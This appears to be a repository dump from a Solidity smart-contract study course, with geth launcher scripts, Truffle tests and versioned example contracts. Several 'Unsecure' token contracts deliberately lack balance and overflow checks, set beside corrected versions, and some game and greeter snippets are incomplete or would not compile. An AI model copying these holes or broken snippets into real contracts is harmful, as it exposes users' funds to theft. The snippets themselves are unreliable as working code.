├── mistrun ├── windows │ ├── runmist.bat │ ├── gethconsole.bat │ └── gethclient.bat └── mac │ ├── runmist.sh │ ├── gethconsole.sh │ └── gethclient.sh ├── etherstudy └── day1 │ └── smartcontract │ └── hello │ ├── .gitignore │ ├── migrations │ └── 1_initial_migration.js │ ├── package.json │ ├── contracts │ ├── Hello.sol │ ├── Migrations.sol │ └── ERC20.sol │ ├── truffle-config.js │ ├── truffle.js │ ├── helloTest.js │ ├── test │ ├── helloTest.js │ ├── helpers.js │ └── ERC20Test.js │ ├── helpers.js │ ├── package-lock.json │ └── ERC20Test.js ├── geth-window-batch.zip ├── GreeterV1.sol ├── README.md ├── GreeterV2.sol ├── GreeterV3.sol ├── UnsecureToken1.sol ├── UnsecureToken2.sol ├── UnsecureToken3.sol ├── GreeterV4.sol ├── GreeterV3-2.sol ├── SecureToken1.sol ├── FunctionCallLimit.sol ├── SecureToken2.sol ├── UnsecureWalletVisibleToken.sol ├── RSPGame1.sol ├── MinimumViableToken.sol ├── WalletVisibleToken.sol ├── GreeterV5.sol ├── UnsecureWalletCompatibleToken.sol ├── UnsecureGeneralWalletCompatibleToken.sol ├── SecureGeneralWalletCompatibleToken2.sol ├── GreeterV5-2.sol ├── SecureGeneralWalletCompatibleToken.sol ├── UnsecureGeneralWalletCompatibleToken3.sol ├── UnsecureGeneralWalletCompatibleToken2.sol ├── WalletCompatibleToken.sol ├── RSPGame2.sol ├── RSPGame3.sol ├── GreeterV6.sol ├── ERC223.sol ├── DaoHack.sol ├── GreeterV8.sol ├── SignVerifier.sol ├── CrowdFund.sol ├── ERC20.sol ├── DataLocation.sol └── index.html /mistrun/windows/runmist.bat: -------------------------------------------------------------------------------- 1 | "C:\Program Files\Mist\Mist" --rpc //./pipe/test-net/geth.ipc 2 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | .idea/ 3 | package-lock.json 4 | -------------------------------------------------------------------------------- /geth-window-batch.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/etherstudy/smartcontract/HEAD/geth-window-batch.zip -------------------------------------------------------------------------------- /mistrun/mac/runmist.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | /Applications/Mist.app/Contents/MacOS/Mist --rpc test-net/geth.ipc 3 | -------------------------------------------------------------------------------- /mistrun/mac/gethconsole.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | ${HOME}/Library/Application\ Support/Mist/binaries/Geth/unpacked/geth attach test-net/geth.ipc 3 | -------------------------------------------------------------------------------- /mistrun/windows/gethconsole.bat: -------------------------------------------------------------------------------- 1 | C:\Users\%USERNAME%\AppData\Roaming\Mist\binaries\Geth\unpacked\geth attach //./pipe/test-net/geth.ipc 2 | -------------------------------------------------------------------------------- /GreeterV1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV1 { 4 | function sayHello() external pure returns (string m) { 5 | m = "Hello"; 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 자료 링크는 아래와 같습니다. 3 | 4 | https://drive.google.com/drive/folders/1xFOejwYPnH_lU5V2ZLAmOVDEFCEVWbsp?usp=sharing 5 | 6 | 7 | http://wisefree.tistory.com/490 8 | -------------------------------------------------------------------------------- /mistrun/windows/gethclient.bat: -------------------------------------------------------------------------------- 1 | C:\Users\%USERNAME%\AppData\Roaming\Mist\binaries\Geth\unpacked\geth --dev --ipcpath test-net/geth.ipc --datadir test-data --networkid 1234 --rpc --rpcport 8545 2 | -------------------------------------------------------------------------------- /mistrun/mac/gethclient.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | ${HOME}/Library/Application\ Support/Mist/binaries/Geth/unpacked/geth --dev --ipcpath test-net/geth.ipc --datadir test-data --networkid 1234 --rpc --rpcport 8545 3 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /GreeterV2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV2 { 4 | string hello = "Hello"; 5 | 6 | function sayHello() external view returns (string) { 7 | return hello; 8 | } 9 | 10 | function changeHello(string _hello) external { 11 | hello = _hello; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hello", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "directories": { 7 | "test": "test" 8 | }, 9 | "scripts": { 10 | "test": "truffle test" 11 | }, 12 | "author": "", 13 | "license": "ISC", 14 | "devDependencies": { 15 | "chai": "^4.1.2" 16 | }, 17 | "dependencies": { 18 | "chai-as-promised": "^7.1.1", 19 | "chai-bignumber": "^2.0.2" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /GreeterV3.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV3 { 4 | mapping ( string => string ) countryToHello; 5 | 6 | function GreeterV3() external { 7 | countryToHello[""] = "Hello"; 8 | } 9 | 10 | function sayHello(string country) external view returns (string) { 11 | return countryToHello[country]; 12 | } 13 | 14 | function changeHello(string country,string hello) external { 15 | countryToHello[country] = hello; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /UnsecureToken1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract UnsecureToken { 4 | mapping (address => uint256) public balanceOf; 5 | 6 | function UnsecureToken(uint256 initialSupply) { 7 | balanceOf[msg.sender] = initialSupply; 8 | } 9 | 10 | function transfer(address _to, uint256 _value) { 11 | if (balanceOf[_to] + _value < balanceOf[_to]) return; 12 | balanceOf[_to] += _value; 13 | 14 | if (balanceOf[msg.sender] < _value) return; 15 | balanceOf[msg.sender] -= _value; 16 | } 17 | } 18 | 19 | -------------------------------------------------------------------------------- /UnsecureToken2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract UnsecureToken { 4 | mapping (address => uint256) public balanceOf; 5 | 6 | function UnsecureToken(uint256 initialSupply) { 7 | balanceOf[msg.sender] = initialSupply; 8 | } 9 | 10 | function transfer(address _to, uint256 _value) { 11 | if (balanceOf[_to] + _value < balanceOf[_to]) return; 12 | if (balanceOf[msg.sender] < _value) return; 13 | 14 | balanceOf[_to] += _value; 15 | balanceOf[msg.sender] -= _value; 16 | } 17 | } 18 | 19 | -------------------------------------------------------------------------------- /UnsecureToken3.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract UnsecureToken { 4 | mapping (address => uint256) public balanceOf; 5 | 6 | function UnsecureToken(uint256 initialSupply) { 7 | balanceOf[msg.sender] = initialSupply; 8 | } 9 | 10 | function transfer(address _to, uint256 _value) { 11 | if (balanceOf[_to] + _value < balanceOf[_to]) return; 12 | if (balanceOf[msg.sender] < _value) return; 13 | 14 | balanceOf[_to] += _value; 15 | balanceOf[msg.sender] -= _value; 16 | } 17 | } 18 | 19 | -------------------------------------------------------------------------------- /GreeterV4.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV3 { 4 | mapping ( string => string ) countryToHello; 5 | 6 | function GreeterV3() external { 7 | countryToHello[""] = "Hello"; 8 | } 9 | 10 | function sayHello(string country) external view returns (string) { 11 | return countryToHello[country]; 12 | } 13 | 14 | function changeHello(string country,string hello) external { 15 | countryToHello[country] = hello; 16 | } 17 | 18 | function deleteHello(string country) external { 19 | delete countryToHello[country]; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/contracts/Hello.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | contract Hello { 4 | string hello = "Hello,World!"; 5 | 6 | function sayHello() public view returns (string) { 7 | return hello; 8 | } 9 | 10 | function changeHello(string _hello) external { 11 | hello = _hello; 12 | } 13 | 14 | mapping (string => string) hellos; 15 | 16 | function changeHelloByLang(string _lang, string _hello) external { 17 | hellos[_lang] = _hello; 18 | } 19 | 20 | function sayHelloByLang(string _lang) external view returns (string) { 21 | return hellos[_lang]; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /GreeterV3-2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV3 { 4 | mapping ( string => string ) countryToHello; 5 | 6 | function GreeterV3() external { 7 | countryToHello[""] = "Hello"; 8 | } 9 | 10 | function sayHello(string country) external view returns (string) { 11 | string storage hello = countryToHello[country]; 12 | bytes memory h = bytes(hello); 13 | if ( h.length == 0 ) 14 | return countryToHello[""]; 15 | return hello; 16 | } 17 | 18 | function changeHello(string country,string hello) external { 19 | countryToHello[country] = hello; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/truffle-config.js: -------------------------------------------------------------------------------- 1 | /* 2 | * NB: since truffle-hdwallet-provider 0.0.5 you must wrap HDWallet providers in a 3 | * function when declaring them. Failure to do so will cause commands to hang. ex: 4 | * ``` 5 | * mainnet: { 6 | * provider: function() { 7 | * return new HDWalletProvider(mnemonic, 'https://mainnet.infura.io/') 8 | * }, 9 | * network_id: '1', 10 | * gas: 4500000, 11 | * gasPrice: 10000000000, 12 | * }, 13 | */ 14 | 15 | module.exports = { 16 | // See 17 | // to customize your Truffle configuration! 18 | }; 19 | -------------------------------------------------------------------------------- /SecureToken1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract SecureToken { 4 | mapping (address => uint256) public balanceOf; 5 | 6 | event Transfer(address _from, address _to, uint _value); 7 | 8 | function SecureToken(uint256 initialSupply) { 9 | balanceOf[msg.sender] = initialSupply; 10 | } 11 | 12 | function transfer(address _to, uint256 _value) { 13 | if (balanceOf[_to] + _value < balanceOf[_to]) revert(); 14 | balanceOf[_to] += _value; 15 | 16 | if (balanceOf[msg.sender] < _value) revert(); 17 | balanceOf[msg.sender] -= _value; 18 | 19 | Transfer(msg.sender, _to, _value); 20 | } 21 | } 22 | 23 | -------------------------------------------------------------------------------- /FunctionCallLimit.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract FunctionCallLimit { 4 | uint public callCount = 0; 5 | 6 | /* Constructor */ 7 | function FunctionCallLimit() public { 8 | } 9 | 10 | function recursiveCallPure(uint count) public pure returns (bool) { 11 | if ( count > 0 ) 12 | return recursiveCallPure(count-1); 13 | return true; 14 | } 15 | 16 | function functionCall(uint count) public { 17 | callCount = 0; 18 | recursiveCall(count); 19 | } 20 | 21 | function recursiveCall(uint count) internal { 22 | count++; 23 | if ( count > 0 ) 24 | recursiveCall(count-1); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/truffle.js: -------------------------------------------------------------------------------- 1 | /* 2 | * NB: since truffle-hdwallet-provider 0.0.5 you must wrap HDWallet providers in a 3 | * function when declaring them. Failure to do so will cause commands to hang. ex: 4 | * ``` 5 | * mainnet: { 6 | * provider: function() { 7 | * return new HDWalletProvider(mnemonic, 'https://mainnet.infura.io/') 8 | * }, 9 | * network_id: '1', 10 | * gas: 4500000, 11 | * gasPrice: 10000000000, 12 | * }, 13 | */ 14 | 15 | module.exports = { 16 | networks: { 17 | development: { 18 | host: 'localhost', 19 | port: '8545', 20 | network_id: '*', 21 | gas: 4500000, 22 | gasPrice: 10000000000, 23 | }, 24 | } 25 | }; 26 | -------------------------------------------------------------------------------- /SecureToken2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract SecureToken2 { 4 | mapping (address => uint256) public balanceOf; 5 | 6 | event Transfer(address _from, address _to, uint _value); 7 | 8 | function SecureToken2(uint256 initialSupply) { 9 | balanceOf[msg.sender] = initialSupply; 10 | } 11 | 12 | function transfer(address _to, uint256 _value) { 13 | // Checks 14 | if (balanceOf[msg.sender] < _value) revert(); 15 | if (balanceOf[_to] + _value < balanceOf[_to]) revert(); 16 | 17 | // Effects 18 | balanceOf[_to] += _value; 19 | balanceOf[msg.sender] -= _value; 20 | 21 | // Interaction 22 | 23 | // Log 24 | Transfer(msg.sender, _to, _value); 25 | } 26 | } 27 | 28 | -------------------------------------------------------------------------------- /UnsecureWalletVisibleToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract UnsecureWalletVisibleToken { 4 | mapping (address => uint256) public balanceOf; 5 | 6 | event Transfer(address _from, address _to, uint _value); 7 | 8 | 9 | function UnsecureWalletVisibleToken(uint256 initialSupply) public { 10 | balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens 11 | } 12 | 13 | function transfer(address _to, uint256 _value) public { 14 | balanceOf[msg.sender] -= _value; // Subtract from the sender 15 | balanceOf[_to] += _value; // Add the same to the recipient 16 | Transfer(msg.sender,_to,_value); 17 | } 18 | } 19 | 20 | -------------------------------------------------------------------------------- /RSPGame1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract RSPGame { 4 | enum Rsp { Rock, Scissors, Paper } 5 | 6 | address player1; 7 | address player2; 8 | 9 | Rsp player1Choice; 10 | Rsp player2Choice; 11 | 12 | event Winner(string msg,address player); 13 | 14 | function play(Rsp choice) external { 15 | if ( player1 == address(0) ) { 16 | player1 = msg.sender; 17 | player1Choice = choice; 18 | } 19 | else if ( player2 == address(0) ) { 20 | player2 = msg.sender; 21 | player2Choice = choice; 22 | } 23 | } 24 | 25 | function judge() external { 26 | // ... 27 | emit Winner("Win",winner); 28 | } 29 | } 30 | 31 | -------------------------------------------------------------------------------- /MinimumViableToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract MinimumViableToken { 4 | /* This creates an array with all balances */ 5 | mapping (address => uint256) public balanceOf; 6 | 7 | /* Initializes contract with initial supply tokens to the creator of the contract */ 8 | function MinimumViableToken(uint256 initialSupply) { 9 | balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens 10 | } 11 | 12 | /* Send coins */ 13 | function transfer(address _to, uint256 _value) { 14 | balanceOf[msg.sender] -= _value; // Subtract from the sender 15 | balanceOf[_to] += _value; // Add the same to the recipient 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /WalletVisibleToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract WalletVisibleToken { 4 | mapping (address => uint256) public balanceOf; 5 | 6 | event Transfer(address _from, address _to, uint _value); 7 | 8 | 9 | function WalletVisibleToken(uint256 initialSupply) { 10 | balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens 11 | } 12 | 13 | function transfer(address _to, uint256 _value) { 14 | if (balanceOf[msg.sender] < _value) revert(); 15 | if (balanceOf[_to] + _value < balanceOf[_to]) revert(); 16 | 17 | balanceOf[msg.sender] -= _value; // Subtract from the sender 18 | balanceOf[_to] += _value; // Add the same to the recipient 19 | Transfer(msg.sender,_to,_value); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /GreeterV5.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV5 { 4 | mapping ( string => string ) countryToHello; 5 | mapping ( string => string ) countryToGoodbye; 6 | 7 | function GreeterV3() public { 8 | countryToHello[""] = "Hello"; 9 | } 10 | 11 | function sayHello(string country) external view returns (string) { 12 | return countryToHello[country]; 13 | } 14 | 15 | function changeHello(string country,string hello) external { 16 | countryToHello[country] = hello; 17 | } 18 | 19 | function sayGoodbye(string country) external view returns (string) { 20 | return countryToGoodbye[country]; 21 | } 22 | 23 | function changeGoodbye(string country,string goodbye) external { 24 | countryToGoodbye[country] = goodbye; 25 | } 26 | 27 | } 28 | -------------------------------------------------------------------------------- /UnsecureWalletCompatibleToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract UnsecureWalletCompatibleToken { 4 | string public constant name = "Wallet Compatible Token"; 5 | string public constant symbol = "WCTKs"; 6 | uint8 public constant decimals = 18; 7 | 8 | mapping (address => uint256) public balanceOf; 9 | 10 | event Transfer(address _from, address _to, uint _value); 11 | 12 | function UnsecureWalletCompatibleToken(uint256 initialSupply) public { 13 | balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens 14 | } 15 | 16 | function transfer(address _to, uint256 _value) public { 17 | balanceOf[msg.sender] -= _value; // Subtract from the sender 18 | balanceOf[_to] += _value; // Add the same to the recipient 19 | Transfer(msg.sender,_to,_value); 20 | } 21 | } 22 | 23 | -------------------------------------------------------------------------------- /UnsecureGeneralWalletCompatibleToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract UnsecureGeneralWalletCompatibleToken { 4 | string public name; 5 | string public symbol; 6 | uint8 public decimals; 7 | 8 | mapping (address => uint256) public balanceOf; 9 | 10 | event Transfer(address _from, address _to, uint _value); 11 | 12 | function UnsecureGeneralWalletCompatibleToken(string tokenName,string tokenSymbol,uint8 decimalUnits,uint256 initialSupply) public { 13 | name = tokenName; 14 | symbol = tokenSymbol; 15 | decimals = decimalUnits; 16 | balanceOf[msg.sender] = initialSupply; 17 | } 18 | 19 | function transfer(address _to, uint256 _value) public { 20 | balanceOf[msg.sender] -= _value; // Subtract from the sender 21 | balanceOf[_to] += _value; // Add the same to the recipient 22 | Transfer(msg.sender,_to,_value); 23 | } 24 | } 25 | 26 | -------------------------------------------------------------------------------- /SecureGeneralWalletCompatibleToken2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract SecureGeneralWalletCompatibleToken2 { 4 | string public name; 5 | string public symbol; 6 | uint8 public decimals; 7 | 8 | mapping (address => uint256) public balanceOf; 9 | 10 | event Transfer(address _from, address _to, uint _value); 11 | 12 | function SecureGeneralWalletCompatibleToken2(string tokenName,string tokenSymbol,uint8 decimalUnits,uint256 initialSupply) public { 13 | name = tokenName; 14 | symbol = tokenSymbol; 15 | decimals = decimalUnits; 16 | balanceOf[msg.sender] = initialSupply; 17 | } 18 | 19 | function transfer(address _to, uint256 _value) public { 20 | require(_value <= balanceOf[msg.sender]); 21 | require(balanceOf[_to] + _value >= balanceOf[_to] ); 22 | balanceOf[msg.sender] -= _value; 23 | balanceOf[_to] += _value; 24 | Transfer(msg.sender,_to,_value); 25 | } 26 | } 27 | 28 | -------------------------------------------------------------------------------- /GreeterV5-2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV5 { 4 | struct Greeting { 5 | string hello; 6 | string goodbye; 7 | } 8 | 9 | mapping (string => Greeting) countryToGreeting; 10 | 11 | function GreeterV3() public { 12 | countryToGreeting[""] = Greeting("Hello","Goodbye"); 13 | } 14 | 15 | function sayHello(string country) external view returns (string) { 16 | return countryToGreeting[country].hello; 17 | } 18 | 19 | function changeHello(string country,string hello) external { 20 | countryToGreeting[country].hello = hello; 21 | } 22 | 23 | function sayGoodbye(string country) external view returns (string) { 24 | return countryToGreeting[country].goodbye; 25 | } 26 | 27 | function changeGoodbye(string country,string goodbye) external { 28 | countryToGreeting[country].goodbye = goodbye; 29 | } 30 | 31 | } 32 | -------------------------------------------------------------------------------- /SecureGeneralWalletCompatibleToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract SecureGeneralWalletCompatibleToken1 { 4 | string public name; 5 | string public symbol; 6 | uint8 public decimals; 7 | 8 | mapping (address => uint256) public balanceOf; 9 | 10 | event Transfer(address _from, address _to, uint _value); 11 | 12 | function SecureGeneralWalletCompatibleToken1(string tokenName,string tokenSymbol,uint8 decimalUnits,uint256 initialSupply) public { 13 | name = tokenName; 14 | symbol = tokenSymbol; 15 | decimals = decimalUnits; 16 | balanceOf[msg.sender] = initialSupply; 17 | } 18 | 19 | function transfer(address _to, uint256 _value) public { 20 | if ( balanceOf[msg.sender] < _value ) revert(); 21 | if ( balanceOf[_to] + _value < balanceOf[_to] ) revert(); 22 | balanceOf[msg.sender] -= _value; 23 | balanceOf[_to] += _value; 24 | Transfer(msg.sender,_to,_value); 25 | } 26 | } 27 | 28 | -------------------------------------------------------------------------------- /UnsecureGeneralWalletCompatibleToken3.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract UnsecureGeneralWalletCompatibleToken3 { 4 | string public name; 5 | string public symbol; 6 | uint8 public decimals; 7 | 8 | mapping (address => uint256) public balanceOf; 9 | 10 | event Transfer(address _from, address _to, uint _value); 11 | 12 | function UnsecureGeneralWalletCompatibleToken3(string tokenName,string tokenSymbol,uint8 decimalUnits,uint256 initialSupply) public { 13 | name = tokenName; 14 | symbol = tokenSymbol; 15 | decimals = decimalUnits; 16 | balanceOf[msg.sender] = initialSupply; 17 | } 18 | 19 | function transfer(address _to, uint256 _value) public { 20 | if ( balanceOf[msg.sender] < _value ) return; 21 | if ( balanceOf[_to] + _value < balanceOf[_to] ) return; 22 | balanceOf[msg.sender] -= _value; 23 | balanceOf[_to] += _value; 24 | Transfer(msg.sender,_to,_value); 25 | } 26 | } 27 | 28 | -------------------------------------------------------------------------------- /UnsecureGeneralWalletCompatibleToken2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract UnsecureGeneralUnsecure1WalletCompatibleToken2 { 4 | string public name; 5 | string public symbol; 6 | uint8 public decimals; 7 | 8 | mapping (address => uint256) public balanceOf; 9 | 10 | event Transfer(address _from, address _to, uint _value); 11 | 12 | function UnsecureGeneralUnsecure1WalletCompatibleToken2(string tokenName,string tokenSymbol,uint8 decimalUnits,uint256 initialSupply) public { 13 | name = tokenName; 14 | symbol = tokenSymbol; 15 | decimals = decimalUnits; 16 | balanceOf[msg.sender] = initialSupply; 17 | } 18 | 19 | function transfer(address _to, uint256 _value) public { 20 | if ( balanceOf[msg.sender] < _value ) return; 21 | balanceOf[msg.sender] -= _value; 22 | if ( balanceOf[_to] + _value < balanceOf[_to] ) return; 23 | balanceOf[_to] += _value; 24 | Transfer(msg.sender,_to,_value); 25 | } 26 | } 27 | 28 | -------------------------------------------------------------------------------- /WalletCompatibleToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | contract WalletCompatibleToken { 4 | string public name; 5 | string public symbol; 6 | uint8 public decimals; 7 | 8 | mapping (address => uint256) public balanceOf; 9 | 10 | event Transfer(address _from, address _to, uint _value); 11 | 12 | function WalletCompatibleToken(string tokenName,string tokenSymbol,uint8 decimalUnits,uint256 initialSupply) { 13 | name = tokenName; 14 | symbol = tokenSymbol; 15 | decimals = decimalUnits; 16 | balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens 17 | } 18 | 19 | function transfer(address _to, uint256 _value) { 20 | if (balanceOf[msg.sender] < _value) revert(); 21 | if (balanceOf[_to] + _value < balanceOf[_to]) revert(); 22 | 23 | balanceOf[msg.sender] -= _value; // Subtract from the sender 24 | balanceOf[_to] += _value; // Add the same to the recipient 25 | 26 | Transfer(msg.sender,_to,_value); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/contracts/ERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | contract ERC20 { 4 | string public name; 5 | string public symbol; 6 | uint256 public initialSupply; 7 | uint256 public maximumSupply; 8 | mapping (address => uint256) public balances; 9 | 10 | function transfer(address _to, uint256 _value) external { 11 | require( balances[msg.sender] >= _value); 12 | balances[msg.sender] = balances[msg.sender] - _value; 13 | balances[_to] = balances[_to] + _value; 14 | } 15 | 16 | function balanceOf(address _owner) external view returns(uint256) { 17 | return balances[_owner]; 18 | } 19 | 20 | // string symbol, uint256 initialSupply, uint256 maximumSupply 21 | constructor(string _name, 22 | string _symbol, 23 | uint256 _initialSupply, 24 | uint256 _maximumSupply) 25 | public { 26 | name = _name; 27 | symbol = _symbol; 28 | initialSupply = _initialSupply; 29 | maximumSupply = _maximumSupply; 30 | 31 | balances[msg.sender] = initialSupply; 32 | } 33 | 34 | } -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/helloTest.js: -------------------------------------------------------------------------------- 1 | var Hello = artifacts.require("./Hello.sol"); 2 | 3 | var assert = require('assert'); 4 | var should = require('chai').should(); 5 | 6 | console.log('Hello'); 7 | 8 | contract("Hello", (accounts) => { 9 | describe("sayHello", async function() { 10 | it("should say [Hello,World!]", async function() { 11 | const hello = await Hello.new(); 12 | 13 | const message = await hello.sayHello(); 14 | message.should.be.equal("Hello,World!"); 15 | }); 16 | 17 | it("should say changed message", async function() { 18 | const hello = await Hello.new(); 19 | 20 | await hello.changeHello("Hi!"); 21 | 22 | const message = await hello.sayHello(); 23 | message.should.be.equal("Hi!"); 24 | }); 25 | 26 | it("should say changed message", async function() { 27 | const hello = await Hello.new(); 28 | 29 | await hello.changeHelloByLang("Korean","안녕!"); 30 | 31 | const message = await hello.sayHelloByLang("Korean"); 32 | message.should.be.equal("안녕!"); 33 | }); 34 | 35 | }); 36 | }); 37 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/test/helloTest.js: -------------------------------------------------------------------------------- 1 | var Hello = artifacts.require("./Hello.sol"); 2 | 3 | var assert = require('assert'); 4 | var should = require('chai').should(); 5 | 6 | console.log('Hello'); 7 | 8 | contract("Hello", (accounts) => { 9 | describe("sayHello", async function() { 10 | it("should say [Hello,World!]", async function() { 11 | const hello = await Hello.new(); 12 | 13 | const message = await hello.sayHello(); 14 | message.should.be.equal("Hello,World!"); 15 | }); 16 | 17 | it("should say changed message", async function() { 18 | const hello = await Hello.new(); 19 | 20 | await hello.changeHello("Hi!"); 21 | 22 | const message = await hello.sayHello(); 23 | message.should.be.equal("Hi!"); 24 | }); 25 | 26 | it("should say changed message", async function() { 27 | const hello = await Hello.new(); 28 | 29 | await hello.changeHelloByLang("Korean","안녕!"); 30 | 31 | const message = await hello.sayHelloByLang("Korean"); 32 | message.should.be.equal("안녕!"); 33 | }); 34 | 35 | }); 36 | }); 37 | -------------------------------------------------------------------------------- /RSPGame2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | contract RSP { 4 | enum Rsp { Rock, Scissors, Paper } 5 | 6 | address player1; address player2; 7 | 8 | Rsp player1Choice; Rsp player2Choice; 9 | 10 | bytes32 player1ChoiceHash; bytes32 player2ChoiceHash; 11 | 12 | event Winner(string msg,address player); 13 | 14 | function play(bytes32 choiceHash) external { 15 | if ( player1 == address(0) ) { 16 | player1 = msg.sender; player1ChoiceHash = choiceHash; 17 | } 18 | else if ( player2 == address(0) ) { 19 | player2 = msg.sender; player2ChoiceHash = choiceHash; 20 | } 21 | } 22 | 23 | function hashForChoice(Rsp choice) external pure returns (bytes32) { 24 | return keccak256(choice); 25 | } 26 | 27 | function submit(Rsp choice) external { 28 | if ( msg.sender == player1 ) { 29 | if ( keccak256(choice) == player1ChoiceHash ) { player1Choice = choice; } 30 | } 31 | else if ( msg.sender == player2 ) { 32 | if ( keccak256(choice) == player2ChoiceHash ) { player2Choice = choice;} 33 | } 34 | } 35 | } 36 | 37 | -------------------------------------------------------------------------------- /RSPGame3.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | contract RSP { 4 | enum Rsp { Rock, Scissors, Paper } 5 | 6 | address player1; address player2; 7 | 8 | Rsp player1Choice; Rsp player2Choice; 9 | 10 | bytes32 player1ChoiceHash; bytes32 player2ChoiceHash; 11 | 12 | event Winner(string msg,address player); 13 | 14 | function play(bytes32 choiceHash) external { 15 | if ( player1 == address(0) ) { 16 | player1 = msg.sender; player1ChoiceHash = choiceHash; 17 | } 18 | else if ( player2 == address(0) ) { 19 | player2 = msg.sender; player2ChoiceHash = choiceHash; 20 | } 21 | } 22 | 23 | function hashForChoice(Rsp choice,uint nonce) external pure returns (bytes32) { 24 | return keccak256(choice,nonce); 25 | } 26 | 27 | function submit(Rsp choice,nonce) external { 28 | if ( msg.sender == player1 ) { 29 | if ( keccak256(choice,nonce) == player1ChoiceHash ) { player1Choice = choice; } 30 | } 31 | else if ( msg.sender == player2 ) { 32 | if ( keccak256(choice,nonce) == player2ChoiceHash ) { player2Choice = choice;} 33 | } 34 | } 35 | } 36 | 37 | -------------------------------------------------------------------------------- /GreeterV6.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV6 { 4 | struct Greeting { 5 | string hello; 6 | string goodbye; 7 | } 8 | 9 | mapping (string => Greeting) countryToGreeting; 10 | 11 | function GreeterV3() public { 12 | countryToGreeting[""] = Greeting("Hello","Goodbye"); 13 | Greeting memory korean = Greeting({goodbye:"",hello:""}); 14 | countryToGreeting["Korea"] = korean; 15 | 16 | Greeting memory usa; 17 | 